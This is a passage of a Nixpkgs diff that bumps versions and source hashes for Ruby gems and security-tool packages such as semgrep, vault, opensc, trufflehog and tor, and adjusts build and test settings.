sha256 = "1zx7sdh11p4z77c3f9ka6f065mgl6xwbamnsq4rrgwk310qhn41n"; type = "gem"; }; - version = "0.4.1"; + version = "0.4.3"; }; rex-arch = { groups = ["default"]; @@ -1267,10 +1287,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0qs8fq14ivhnhssq966ikxdis864gw80pfbxllbs35v0njw46nj3"; + sha256 = "0vd9gfhyplwg2y55jk1c6nfsin733dy831x8zx78cp2lxp07s0p7"; type = "gem"; }; - version = "0.1.55"; + version = "0.1.56"; }; rex-sslscan = { groups = ["default"]; @@ -1297,10 +1317,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1finkvvmxa654mldx1vqpnl9w1xvjp0s7lyb7qjymlphvbj3mi40"; + sha256 = "108x7k7x0ghc1zzqwbmja1f81b1wnllpda2rzbkws9ckvqx0cayf"; type = "gem"; }; - version = "0.2.55"; + version = "0.2.56"; }; rex-zip = { groups = ["default"]; @@ -1337,10 +1357,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1yf8fq0l5hlqkjklcpxmg6vhzvbyigwd2n441aq42b2wa2f8xj5q"; + sha256 = "06addh9m9z25kpk52z56v6ygvg43sjxmqwb2qqx7rg7y55zlp3ks"; type = "gem"; }; - version = "4.0.0"; + version = "4.0.1"; }; ruby-mysql = { groups = ["default"]; @@ -1377,10 +1397,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "04m366ldi33h79k7f35dvyhq0jyh762v8360zf8ss5jbax3bzlkk"; + sha256 = "1yy5z53mp2l3d8k8dhf8s8hbscmgd829j50nfcgmqrli0vvz0s1a"; type = "gem"; }; - version = "3.3.1"; + version = "3.3.2"; }; rubyntlm = { groups = ["default"]; @@ -1427,20 +1447,20 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "00541cnypsh1mnilfxxqlz6va9afrixf9m1asn4wzjp5m59777p8"; + sha256 = "01wq20aqk5kfggq3wagx5xr1cz0x08lg6dxbk9yhd1sf0d6pywkf"; type = "gem"; }; - version = "3.1.0"; + version = "3.2.0"; }; sqlite3 = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "08irz5llz31im8pmkk5k0kw433jyyji1qa98xkdmpphncdjr38am"; + sha256 = "137xkh8jnk3xyajvzmn2390yzs13hnb37jylr0sm02d3zrshf18n"; type = "gem"; }; - version = "1.6.9"; + version = "1.7.2"; }; sshkey = { groups = ["default"]; @@ -1487,10 +1507,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1hx77jxkrwi66yvs10wfxqa8s25ds25ywgrrf66acm9nbfg7zp0s"; + sha256 = "1vq1fjp45az9hfp6fxljhdrkv75cvbab1jfrwcw738pnsiqk8zps"; type = "gem"; }; - version = "1.3.0"; + version = "1.3.1"; }; tilt = { groups = ["default"]; @@ -1537,10 +1557,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0m2d0gpsgqnv29j5h2d6g57g0rayvd460b8s2vjr8sn46bqf89m5"; + sha256 = "1rg1dmx6mknjazb8qq0j9sb9fah470my5sbjb6f3pa6si5018682"; type = "gem"; }; - version = "1.2023.3"; + version = "1.2024.1"; }; unf = { groups = ["default"]; @@ -1572,6 +1592,16 @@ }; version = "1.3.1"; }; + uri = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "094gk72ckazf495qc76gk09b5i318d5l9m7bicg2wxlrjcm3qm96"; + type = "gem"; + }; + version = "0.13.0"; + }; warden = { groups = ["default"]; platforms = []; @@ -1667,9 +1697,9 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1gir0if4nryl1jhwi28669gjwhxb7gzrm1fcc8xzsch3bnbi47jn"; + sha256 = "1m67qmsak3x8ixs8rb971azl3l7wapri65pmbf5z886h46q63f1d"; type = "gem"; }; - version = "2.6.12"; + version = "2.6.13"; }; } diff --git a/pkgs/tools/security/nitrokey-app2/default.nix b/pkgs/tools/security/nitrokey-app2/default.nix index d56e882cb09ee..6f392f5d7f530 100644 --- a/pkgs/tools/security/nitrokey-app2/default.nix +++ b/pkgs/tools/security/nitrokey-app2/default.nix @@ -1,20 +1,38 @@ { lib -, buildPythonApplication +, python3 +, fetchPypi +, rustPlatform , fetchFromGitHub -, pythonOlder -, pyside6 -, poetry-core -, pynitrokey -, pyudev -, qt-material }: -buildPythonApplication rec { +let + python = python3.override { + packageOverrides = self: super: { + # https://github.com/nxp-mcuxpresso/spsdk/issues/64 + cryptography = super.cryptography.overridePythonAttrs (old: rec { + version = "41.0.7"; + src = fetchPypi { + inherit (old) pname; + inherit version; + hash = "sha256-E/k86b6oAWwlOzSvxr1qdZk+XEBnLtVAWpyDLw1KALw="; + }; + cargoDeps = rustPlatform.fetchCargoTarball { + inherit src; + sourceRoot = "${old.pname}-${version}/${old.cargoRoot}"; + name = "${old.pname}-${version}"; + hash = "sha256-VeZhKisCPDRvmSjGNwCgJJeVj65BZ0Ge+yvXbZw86Rw="; + }; + patches = [ ]; + doCheck = false; # would require overriding cryptography-vectors + }); + }; + }; +in python.pkgs.buildPythonApplication rec { pname = "nitrokey-app2"; version = "2.1.5"; pyproject = true; - disabled = pythonOlder "3.9"; + disabled = python.pythonOlder "3.9"; src = fetchFromGitHub { owner = "Nitrokey"; @@ -31,11 +49,11 @@ buildPythonApplication rec { substituteInPlace pyproject.toml --replace 'pynitrokey = "' 'pynitrokey = ">=' ''; - nativeBuildInputs = [ + nativeBuildInputs = with python.pkgs; [ poetry-core ]; - propagatedBuildInputs = [ + propagatedBuildInputs = with python.pkgs; [ pynitrokey pyudev pyside6 diff --git a/pkgs/tools/security/oath-toolkit/default.nix b/pkgs/tools/security/oath-toolkit/default.nix index 3e01af4886d97..1e5b418c3f460 100644 --- a/pkgs/tools/security/oath-toolkit/default.nix +++ b/pkgs/tools/security/oath-toolkit/default.nix @@ -8,11 +8,11 @@ let in stdenv.mkDerivation rec { pname = "oath-toolkit"; - version = "2.6.10"; + version = "2.6.11"; src = fetchurl { url = "mirror://savannah/${pname}/${pname}-${version}.tar.gz"; - sha256 = "sha256-hsJyJPfW19rUek9r7mX2uIS/W70VxemM8sxpYl2/I5E="; + sha256 = "sha256-/FEqSltG9MQ6sFhsMYn+zk1U9+ZJOX1voeI0KEMeLLQ="; }; buildInputs = [ securityDependency ]; diff --git a/pkgs/tools/security/openpgp-card-tools/default.nix b/pkgs/tools/security/openpgp-card-tools/default.nix index 38f814bbd2e2c..ff1e2958cde5d 100644 --- a/pkgs/tools/security/openpgp-card-tools/default.nix +++ b/pkgs/tools/security/openpgp-card-tools/default.nix @@ -12,17 +12,17 @@ rustPlatform.buildRustPackage rec { pname = "openpgp-card-tools"; - version = "0.9.5"; + version = "0.10.0"; src = fetchFromGitea { domain = "codeberg.org"; owner = "openpgp-card"; repo = "openpgp-card-tools"; rev = "v${version}"; - hash = "sha256-VD0eDq+lfeAu2gY9VZfz2ola3+CJCWerTEaGivpILyo="; + hash = "sha256-dSGkPAeiQ54hYMJgghlPkbeJP3ZPUXGU7WmE63yIvz0="; }; - cargoHash = "sha256-tfawWfwsdWUOimd97b059HXt83ew6KBouI2MdGN8Knc="; + cargoHash = "sha256-coFoFWI/Iq7tbkv9RKPCNfAVKWDsJd7KTzOTtQDHXJY="; nativeBuildInputs = [ pkg-config rustPlatform.bindgenHook ]; buildInputs = [ pcsclite nettle ] ++ lib.optionals stdenv.isDarwin [ PCSC ]; @@ -34,10 +34,10 @@ rustPlatform.buildRustPackage rec { }; meta = with lib; { - description = "CLI tools for OpenPGP cards"; - homepage = "https://gitlab.com/openpgp-card/openpgp-card"; + description = "A tool for inspecting and configuring OpenPGP cards"; + homepage = "https://codeberg.org/openpgp-card/openpgp-card-tools"; license = with licenses ;[ asl20 /* OR */ mit ]; maintainers = with maintainers; [ nickcao ]; - mainProgram = "opgpcard"; + mainProgram = "oct"; }; } diff --git a/pkgs/tools/security/opensc/default.nix b/pkgs/tools/security/opensc/default.nix index 856921edbf18f..6edc9a7da55cd 100644 --- a/pkgs/tools/security/opensc/default.nix +++ b/pkgs/tools/security/opensc/default.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "opensc"; - version = "0.24.0"; + version = "0.25.0"; src = fetchFromGitHub { owner = "OpenSC"; repo = "OpenSC"; rev = version; - sha256 = "sha256-1mm0b4AAtX0AgjShpU1FR6e7pUkea5TOJdIGkNQgjuE="; + sha256 = "sha256-pNorJiZzLGpxtlkog2d3E9xePMy9ASoHeWduqVZiBiA="; }; nativeBuildInputs = [ pkg-config autoreconfHook ]; diff --git a/pkgs/tools/security/pass/rofi-pass.nix b/pkgs/tools/security/pass/rofi-pass.nix index f23d27314eefa..b8fd130df24b2 100644 --- a/pkgs/tools/security/pass/rofi-pass.nix +++ b/pkgs/tools/security/pass/rofi-pass.nix @@ -29,13 +29,13 @@ assert lib.assertOneOf "backend" backend [ "x11" "wayland" ]; stdenv.mkDerivation { pname = "rofi-pass"; - version = "unstable-2023-07-07"; + version = "unstable-2024-02-13"; src = fetchFromGitHub { owner = "carnager"; repo = "rofi-pass"; - rev = "e77cbdbe0e885f0b1daba3a0b6bae793cc2b1ba3"; - hash = "sha256-zmNuFE+++tf4pKTXSTc7s8R9rvI+XwgWl8mCEPaaIRM="; + rev = "8aa6b9293a8f0af267425326fa966966ca42085e"; + hash = "sha256-g/AuLYj0yvLCXFR3y9GbMiE6hDCPBeuFM145c2Ukvys="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/tools/security/plasma-pass/default.nix b/pkgs/tools/security/plasma-pass/default.nix index da276aef50da1..9475b2a4a099d 100644 --- a/pkgs/tools/security/plasma-pass/default.nix +++ b/pkgs/tools/security/plasma-pass/default.nix @@ -8,13 +8,13 @@ mkDerivation rec { pname = "plasma-pass"; - version = "1.2.1"; + version = "1.2.2"; src = fetchFromGitLab { domain = "invent.kde.org"; owner = "plasma"; repo = "plasma-pass"; - sha256 = "sha256-lCNskOXkSIcMPcMnTWE37sDCXfmtP0FhyMzxeF6L0iU="; + sha256 = "sha256-fEYH3cvDZzEKpYqkTVqxxh3rhV75af8dZUHxQq8fPNg="; rev = "v${version}"; }; diff --git a/pkgs/tools/security/proxmark3/default.nix b/pkgs/tools/security/proxmark3/default.nix index de586e7e9004b..609d2f7818ee9 100644 --- a/pkgs/tools/security/proxmark3/default.nix +++ b/pkgs/tools/security/proxmark3/default.nix @@ -25,13 +25,13 @@ assert withBlueshark -> stdenv.hostPlatform.isLinux; stdenv.mkDerivation rec { pname = "proxmark3"; - version = "4.17768"; + version = "4.18218"; src = fetchFromGitHub { owner = "RfidResearchGroup"; repo = "proxmark3"; rev = "v${version}"; - hash = "sha256-4x8GN4Jsk9xqk4MbGu8SpE4Zh0Opb3akCH5NlASzLQo="; + hash = "sha256-LltTTmYEF1JsqkVaj7Z19qGR+dEUj6Hwr6T5Z1eDzZc="; }; patches = [ diff --git a/pkgs/tools/security/semgrep/common.nix b/pkgs/tools/security/semgrep/common.nix index da646461a20f2..57f5163f4cbf3 100644 --- a/pkgs/tools/security/semgrep/common.nix +++ b/pkgs/tools/security/semgrep/common.nix @@ -1,9 +1,9 @@ { lib }: rec { - version = "1.37.0"; + version = "1.63.0"; - srcHash = "sha256-oFJ43dq3DAhux0UEFDKFZnxruoRdOfCndKY6XgG3d5I="; + srcHash = "sha256-VMB+slexCXxv9z6kOxbYQrnet6sb4ZKTATXWkLix9u4="; # submodule dependencies # these are fetched so we: @@ -11,10 +11,10 @@ rec { # 2. avoid fetchSubmodules since it's prone to impurities submodules = { "cli/src/semgrep/semgrep_interfaces" = { - owner = "returntocorp"; + owner = "semgrep"; repo = "semgrep-interfaces"; - rev = "331603197022625f50a64dd5e3029a96a5f03ada"; - hash = "sha256-UAcWbTSCIdBGvgGSbdQ+miFOEuBvQ6m42MkU3VeErKY="; + rev = "8751faab89f23f7af3a92f5d4d4e6451ccaa205a"; + hash = "sha256-0Si4wUymwA2k/u953GifYgHKi6gvu3FiaDHm1Kj30sA="; }; }; @@ -25,22 +25,22 @@ rec { core = { x86_64-linux = { platform = "any"; - hash = "sha256-Sj/6tzZMyRQAJL09X/3zgvdGTIhNibqO8usKsus9Xss="; + hash = "sha256-KBiYd1zWDxs5T2AGR49o/X2J6espuqi7ykCh3Zsg8i4="; }; x86_64-darwin = { platform = "macosx_10_14_x86_64"; - hash = "sha256-hC04VknZG6aYYNX7lqvkcOoVslewNqlYax+o1nV2TcM="; + hash = "sha256-EfVpKdRE5qvEVMGu8QUM183YPNDjgxQlca3nUb3m1tw="; }; aarch64-darwin = { platform = "macosx_11_0_arm64"; - hash = "sha256-0F+ndM4+0dnxf9acwWvGdIy9iYWSqixS9IzOxa95/yM="; + hash = "sha256-ksqkVdE7aIbeETSxLpDXef6Hmv7G5LxQ0+v+/G9OpKk="; }; }; meta = with lib; { homepage = "https://semgrep.dev/"; - downloadPage = "https://github.com/returntocorp/semgrep/"; - changelog = "https://github.com/returntocorp/semgrep/blob/v${version}/CHANGELOG.md"; + downloadPage = "https://github.com/semgrep/semgrep/"; + changelog = "https://github.com/semgrep/semgrep/blob/v${version}/CHANGELOG.md"; description = "Lightweight static analysis for many languages"; longDescription = '' Semgrep is a fast, open-source, static analysis tool for finding bugs and diff --git a/pkgs/tools/security/semgrep/default.nix b/pkgs/tools/security/semgrep/default.nix index ff41daacac30d..70e6b8641ee8c 100644 --- a/pkgs/tools/security/semgrep/default.nix +++ b/pkgs/tools/security/semgrep/default.nix @@ -1,5 +1,6 @@ { lib , fetchFromGitHub +, fetchpatch , semgrep-core , buildPythonApplication , pythonPackages @@ -9,19 +10,31 @@ , git }: +# testing locally post build: +# ./result/bin/semgrep scan --metrics=off --config 'r/generic.unicode.security.bidi.contains-bidirectional-characters' + let common = import ./common.nix { inherit lib; }; + semgrepBinPath = lib.makeBinPath [ semgrep-core ]; in buildPythonApplication rec { pname = "semgrep"; inherit (common) version; src = fetchFromGitHub { - owner = "returntocorp"; + owner = "semgrep"; repo = "semgrep"; rev = "v${version}"; hash = common.srcHash; }; + patches = [ + (fetchpatch { + name = "fix-test_dump_engine-test-for-nix-store-path.patch"; + url = "https://github.com/semgrep/semgrep/commit/c7553c1a61251146773617f80a2d360e6b6ab3f9.patch"; + hash = "sha256-A3QdL0DDh/pbDpRIBACUie7PEvC17iG4t6qTnmPIwA4="; + }) + ]; + # prepare a subset of the submodules as we only need a handful # and there are many many submodules total postPatch = (lib.concatStringsSep "\n" (lib.mapAttrsToList @@ -72,34 +85,57 @@ buildPythonApplication rec { ]; doCheck = true; + nativeCheckInputs = [ git pytestCheckHook ] ++ (with pythonPackages; [ + flaky pytest-snapshot pytest-mock pytest-freezegun types-freezegun ]); + disabledTests = [ # requires networking "test_send" # requires networking "test_parse_exclude_rules_auto" + # many child tests require networking to download files + "TestConfigLoaderForProducts" + # doesn't start flaky plugin correctly + "test_debug_performance" ]; + preCheck = '' # tests need a home directory export HOME="$(mktemp -d)" + # tests need access to `semgrep-core` + export OLD_PATH="$PATH" + export PATH="$PATH:${semgrepBinPath}" + + # we're in cli + # replace old semgrep with wrapped one + rm ./bin/semgrep + ln -s $out/bin/semgrep ./bin/semgrep + # disabledTestPaths doesn't manage to avoid the e2e tests # remove them from pyproject.toml # and remove need for pytest-split substituteInPlace pyproject.toml \ --replace '"tests/e2e",' "" \ + --replace '"tests/e2e-pro",' "" \ --replace 'addopts = "--splitting-algorithm=least_duration"' "" ''; + postCheck = '' + export PATH="$OLD_PATH" + unset OLD_PATH + ''; + # since we stop cli/setup.py from finding semgrep-core and copying it into # the result we need to provide it on the PATH preFixup = '' - makeWrapperArgs+=(--prefix PATH : ${lib.makeBinPath [ semgrep-core ]}) + makeWrapperArgs+=(--prefix PATH : ${semgrepBinPath}) ''; postInstall = '' diff --git a/pkgs/tools/security/semgrep/semgrep-core.nix b/pkgs/tools/security/semgrep/semgrep-core.nix index b924dd16579f9..33e50837bf753 100644 --- a/pkgs/tools/security/semgrep/semgrep-core.nix +++ b/pkgs/tools/security/semgrep/semgrep-core.nix @@ -20,7 +20,7 @@ stdenvNoCC.mkDerivation rec { inherit version; format = "wheel"; dist = python; - python = "cp37.cp38.cp39.cp310.cp311.py37.py38.py39.py310.py311"; + python = "cp38.cp39.cp310.cp311.py37.py38.py39.py310.py311"; inherit (data) platform hash; }; diff --git a/pkgs/tools/security/semgrep/update.sh b/pkgs/tools/security/semgrep/update.sh index c66180cf8f2ba..67b720154b0b5 100755 --- a/pkgs/tools/security/semgrep/update.sh +++ b/pkgs/tools/security/semgrep/update.sh @@ -24,10 +24,10 @@ instantiateClean() { # get latest version NEW_VERSION=$( - curl -s -H \ + curl -s -L -H \ "Accept: application/vnd.github.v3+json" \ ${GITHUB_TOKEN:+ -H "Authorization: bearer $GITHUB_TOKEN"} \ - https://api.github.com/repos/returntocorp/semgrep/releases/latest \ + https://api.github.com/repos/semgrep/semgrep/releases/latest \ | jq -r '.tag_name' ) # trim v prefix @@ -58,7 +58,7 @@ fetchPypi rec { version = \"$VERSION\"; format = \"wheel\"; dist = python; - python = \"cp37.cp38.cp39.cp310.cp311.py37.py38.py39.py310.py311\"; + python = \"cp38.cp39.cp310.cp311.py37.py38.py39.py310.py311\"; platform = \"$PLATFORM\"; } " @@ -101,7 +101,7 @@ update_core_platform "aarch64-darwin" OLD_PWD=$PWD TMPDIR="$(mktemp -d)" # shallow clone to check submodule commits, don't actually need the submodules -git clone https://github.com/returntocorp/semgrep "$TMPDIR/semgrep" --depth 1 --branch "v$NEW_VERSION" +git clone https://github.com/semgrep/semgrep "$TMPDIR/semgrep" --depth 1 --branch "v$NEW_VERSION" get_submodule_commit() { OLD_PWD=$PWD diff --git a/pkgs/tools/security/sigma-cli/default.nix b/pkgs/tools/security/sigma-cli/default.nix index 4f12607ff06a8..897fdfcb2f295 100644 --- a/pkgs/tools/security/sigma-cli/default.nix +++ b/pkgs/tools/security/sigma-cli/default.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "sigma-cli"; - version = "1.0.0"; + version = "1.0.1"; pyproject = true; src = fetchFromGitHub { owner = "SigmaHQ"; repo = "sigma-cli"; rev = "refs/tags/v${version}"; - hash = "sha256-TVsWGExs4diHoAhfbUs2q9Dh9xVr8WyDRMRhhAFpB8A="; + hash = "sha256-+6+xTc9XGsPxK3OsiA4dj2ORgC0PQtZsZ5a6STwmfcg="; }; postPatch = '' diff --git a/pkgs/tools/security/signify/default.nix b/pkgs/tools/security/signify/default.nix index 645cb010bdf3b..ac8b2ace3af13 100644 --- a/pkgs/tools/security/signify/default.nix +++ b/pkgs/tools/security/signify/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "signify"; - version = "31"; + version = "32"; src = fetchFromGitHub { owner = "aperezdc"; repo = "signify"; rev = "v${version}"; - sha256 = "sha256-y9jWG1JJhYCn6e5E2qjVqK8nmZpktiB7d9e9uP+3DLo="; + sha256 = "sha256-y2A+Szt451CmaWOc2Y2vBSwSgziJsSnTjNClbdyxG2U="; }; doCheck = true; diff --git a/pkgs/tools/security/spire/default.nix b/pkgs/tools/security/spire/default.nix index abebc4e3e1243..19e2704516da2 100644 --- a/pkgs/tools/security/spire/default.nix +++ b/pkgs/tools/security/spire/default.nix @@ -2,7 +2,7 @@ buildGoModule rec { pname = "spire"; - version = "1.8.7"; + version = "1.9.1"; outputs = [ "out" "agent" "server" ]; @@ -10,10 +10,10 @@ buildGoModule rec { owner = "spiffe"; repo = pname; rev = "v${version}"; - sha256 = "sha256-D6NNG//1rM7EIzawKdMA/8nloqMNAkF75YyFpHvxUkI="; + sha256 = "sha256-+IIT2y4TJDhxxEFiaefgiHVSzO4sVQ3oPO1aMEoBQTU="; }; - vendorHash = "sha256-bSQitqXTY1LMnpGkXAmDiDsMd0xZHrcr/Ms1F6avBKM="; + vendorHash = "sha256-X8/R2u7mAJuwfltIZV5NrgbzR0U6Ty092Wlbs3u9oIw="; subPackages = [ "cmd/spire-agent" "cmd/spire-server" ]; diff --git a/pkgs/tools/security/ssh-to-age/default.nix b/pkgs/tools/security/ssh-to-age/default.nix index 90ea4c9b7eb58..5392f0c8a8c4f 100644 --- a/pkgs/tools/security/ssh-to-age/default.nix +++ b/pkgs/tools/security/ssh-to-age/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "ssh-to-age"; - version = "1.1.6"; + version = "1.1.7"; src = fetchFromGitHub { owner = "Mic92"; repo = "ssh-to-age"; rev = version; - sha256 = "sha256-cYSrosDFdueEJPQdDYCMObMPwQTvuXUBHXPO0rhehxk="; + sha256 = "sha256-NHNjBMK4eJZSZMOg75VmpD6mVQaRJbk5GoJST9W6j4w="; }; - vendorHash = "sha256-dmxFkoz/2qyUv2/I8bLFTYAfUcYdHjVYQgmg8xleIxA="; + vendorHash = "sha256-JpZ+cdDQ3yfH0EAyzi3HO7bozGYJgCYFf2KO/lXwCf8="; checkPhase = '' runHook preCheck diff --git a/pkgs/tools/security/sudo-rs/default.nix b/pkgs/tools/security/sudo-rs/default.nix index d0e547dc2d237..a1e46c6ee7083 100644 --- a/pkgs/tools/security/sudo-rs/default.nix +++ b/pkgs/tools/security/sudo-rs/default.nix @@ -11,15 +11,15 @@ rustPlatform.buildRustPackage rec { pname = "sudo-rs"; - version = "0.2.1"; + version = "0.2.2"; src = fetchFromGitHub { owner = "memorysafety"; repo = "sudo-rs"; rev = "v${version}"; - hash = "sha256-EQEdNDUXEMMiFZKuu9LR9ywjvKWyM5bWcRHHUB9+gp4="; + hash = "sha256-Fc9NgKo8Be8AqB1YcH/oH514f3pOjFtqNBIC+3xwagY="; }; - cargoHash = "sha256-Zs9/A7u4yMLKY4cAUCnsqRHgkxI8R3w1JwkAd2lw0eo="; + cargoHash = "sha256-1XhdMHGZZOmSFuVW3Oa1Xwjy3dzkgJOE7h24Ly2F3ps="; nativeBuildInputs = [ installShellFiles pandoc ]; diff --git a/pkgs/tools/security/terrascan/default.nix b/pkgs/tools/security/terrascan/default.nix index 91470205666b0..3331c9c4b33f3 100644 --- a/pkgs/tools/security/terrascan/default.nix +++ b/pkgs/tools/security/terrascan/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "terrascan"; - version = "1.18.11"; + version = "1.18.12"; src = fetchFromGitHub { owner = "accurics"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-BICXMSkfGDXOqBH+4UlJmqkUSV+oZa1wg7c20EtJ3WI="; + hash = "sha256-NTk/tCIArucJ12RR173bQ/VoP74oROYwmMrQizE+5iU="; }; - vendorHash = "sha256-9zD81p/UjH43B0aeqlItP9vrGMaT/zhVYv60ot153Gc="; + vendorHash = "sha256-Hk7dkhb1GiCY9CkKZ1dMQc+s97VRUli7WAoneJVNK08="; # Tests want to download a vulnerable Terraform project doCheck = false; diff --git a/pkgs/tools/security/tor/default.nix b/pkgs/tools/security/tor/default.nix index 5fc68c0a1c292..050894307503a 100644 --- a/pkgs/tools/security/tor/default.nix +++ b/pkgs/tools/security/tor/default.nix @@ -70,14 +70,9 @@ stdenv.mkDerivation rec { enableParallelBuilding = true; - # disable tests on aarch64-darwin, the following tests fail there: - # oom/circbuf: [forking] - # FAIL src/test/test_oom.c:187: assert(c1->marked_for_close) - # [circbuf FAILED] - # oom/streambuf: [forking] - # FAIL src/test/test_oom.c:287: assert(x_ OP_GE 500 - 5): 0 vs 495 - # [streambuf FAILED] - doCheck = !(stdenv.isDarwin && stdenv.isAarch64); + # disable tests on linux aarch32 + # https://gitlab.torproject.org/tpo/core/tor/-/issues/40912 + doCheck = !(stdenv.isLinux && stdenv.isAarch32); postInstall = '' mkdir -p $geoip/share/tor diff --git a/pkgs/tools/security/trueseeing/default.nix b/pkgs/tools/security/trueseeing/default.nix index 5feccbb2d8beb..ef0026f870f0f 100644 --- a/pkgs/tools/security/trueseeing/default.nix +++ b/pkgs/tools/security/trueseeing/default.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "trueseeing"; - version = "2.1.10"; + version = "2.2.1"; pyproject = true; src = fetchFromGitHub { owner = "alterakey"; repo = "trueseeing"; rev = "refs/tags/v${version}"; - hash = "sha256-q7hUsBmTRPizmNWueFtFDc5t7rd1evMrBj3oX1Q2VfM="; + hash = "sha256-bgvnzCcxRiJnjcHVbcIA6YfpCOIDTLD5tQae/0Tqk4E="; }; nativeBuildInputs = with python3.pkgs; [ @@ -23,12 +23,16 @@ python3.pkgs.buildPythonApplication rec { pythonRelaxDeps = true; propagatedBuildInputs = with python3.pkgs; [ + asn1crypto attrs + importlib-metadata jinja2 lxml + progressbar2 pypubsub pyyaml termcolor + zstandard ]; # Project has no tests diff --git a/pkgs/tools/security/trufflehog/default.nix b/pkgs/tools/security/trufflehog/default.nix index cfb6fb85b82bc..b5b44409ceec7 100644 --- a/pkgs/tools/security/trufflehog/default.nix +++ b/pkgs/tools/security/trufflehog/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "trufflehog"; - version = "3.67.5"; + version = "3.68.5"; src = fetchFromGitHub { owner = "trufflesecurity"; repo = "trufflehog"; rev = "refs/tags/v${version}"; - hash = "sha256-163tIYqWUvfbN4Vh+nqQ98nHHFwEg0esJplBB5ivqOY="; + hash = "sha256-hprdMuFo55O4AlQwA+OQ+Jr9uo4pICzdbvfb3q15ixI="; }; - vendorHash = "sha256-Kp78cAg3zpxZkJlVAvaxbq6GvUH/4HTH6Xz9EIo9tc0="; + vendorHash = "sha256-lHEiVtlbDrR1RjUom3yQiNBoMgoVwfDa4sxlJnDVMiI="; ldflags = [ "-s" diff --git a/pkgs/tools/security/vault/default.nix b/pkgs/tools/security/vault/default.nix index 0db950ddca546..bec13959dc438 100644 --- a/pkgs/tools/security/vault/default.nix +++ b/pkgs/tools/security/vault/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "vault"; - version = "1.15.5"; + version = "1.15.6"; src = fetchFromGitHub { owner = "hashicorp"; repo = "vault"; rev = "v${version}"; - sha256 = "sha256-KDQgiG+HSkLjiJfej9VqTcPZxOMMTh9n9yTDGfiGF3g="; + hash = "sha256-XqPuikUUm8C02Uv6qZHPz/KEmrvBrr8gOznQ7qbMKnU="; }; - vendorHash = "sha256-fNUoeyBVci/S4LCpAPYjVbf8r+ROB5uL1TaUKJZsNes="; + vendorHash = "sha256-SYGqlLCA7T4MhRlOVBSYnZdZ2+WuJvmmHw3MdnfoezM="; proxyVendor = true; diff --git a/pkgs/tools/security/vault/vault-bin.nix b/pkgs/tools/security/vault/vault-bin.nix index 88430d8428410..8644949bf68bd 100644 --- a/pkgs/tools/security/vault/vault-bin.nix +++ b/pkgs/tools/security/vault/vault-bin.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "vault-bin"; - version = "1.15.5"; + version = "1.15.6"; src = let @@ -16,11 +16,11 @@ stdenv.mkDerivation rec { aarch64-darwin = "darwin_arm64"; }; sha256 = selectSystem { - x86_64-linux = "sha256-WchJdMn8PkCu3MydY6ssbXpMCaQBlDbyTQ1kF69KQ+0="; - aarch64-linux = "sha256-tjLyPC156q8y4RKB0+QVIxiXbkW6/qTytCC0WhOo8xU="; - i686-linux = "sha256-TSAhomxTIKSHE0BE1jiL9a15hpGRmF7clFbTwsrDxuk="; - x86_64-darwin = "sha256-vG3S84P7+zvQnIjohPHN3JefN4wM9uDdPqindnwlXpE="; - aarch64-darwin = "sha256-nQsKXD+1gGclUoZLlUpA6k9QuNv/NQ+roRa6kvXCIXQ="; + x86_64-linux = "sha256-qZXR0bqsU0BcM4hWbCZ6vqnjh5pnddl7WTKKBGt1ioU="; + aarch64-linux = "sha256-4f0D+D+rL28mzCN8ku/FWrRFFUevY5yWIgifvZrDbuw="; + i686-linux = "sha256-YoG2NC6cBCunIql7kIRIOs0hU0dIQKIHN/Z27IGj1io="; + x86_64-darwin = "sha256-sdbwnoWZKbq0l86ikfHAR+LYI285IGRiZBB7woD/s/8="; + aarch64-darwin = "sha256-JcTt67eWgORgEmuiBpY5fSGJr8vvCOwKbnOTYZh2fIM="; }; in fetchzip { diff --git a/pkgs/tools/security/vaultwarden/default.nix b/pkgs/tools/security/vaultwarden/default.nix index 3261dc5a923c3..5fbe5e22d7656 100644 --- a/pkgs/tools/security/vaultwarden/default.nix +++ b/pkgs/tools/security/vaultwarden/default.nix @@ -39,7 +39,7 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/dani-garcia/vaultwarden"; changelog = "https://github.com/dani-garcia/vaultwarden/releases/tag/${version}"; license = licenses.agpl3Only; - maintainers = with maintainers; [ SuperSandro2000 ivan ]; + maintainers = with maintainers; [ dotlambda SuperSandro2000 ]; mainProgram = "vaultwarden"; }; } diff --git a/pkgs/tools/security/vaultwarden/webvault.nix b/pkgs/tools/security/vaultwarden/webvault.nix index 6dae287e869f6..528ba9434c44d 100644 --- a/pkgs/tools/security/vaultwarden/webvault.nix +++ b/pkgs/tools/security/vaultwarden/webvault.nix @@ -4,16 +4,17 @@ , git , nixosTests , python3 +, vaultwarden }: let - version = "2024.1.2"; + version = "2024.1.2b"; bw_web_builds = fetchFromGitHub { owner = "dani-garcia"; repo = "bw_web_builds"; rev = "v${version}"; - hash = "sha256-XpFGLZpX5BeP6cEZfGlNnh94aS6As0eCnllVyHLrOWo="; + hash = "sha256-p5UsI8T2cV5uQnQmOi5WBo2UirLLS83NHoaljxcRkqo="; }; in buildNpmPackage rec { @@ -69,6 +70,6 @@ in buildNpmPackage rec { changelog = "https://github.com/dani-garcia/bw_web_builds/releases/tag/v${version}"; platforms = platforms.all; license = 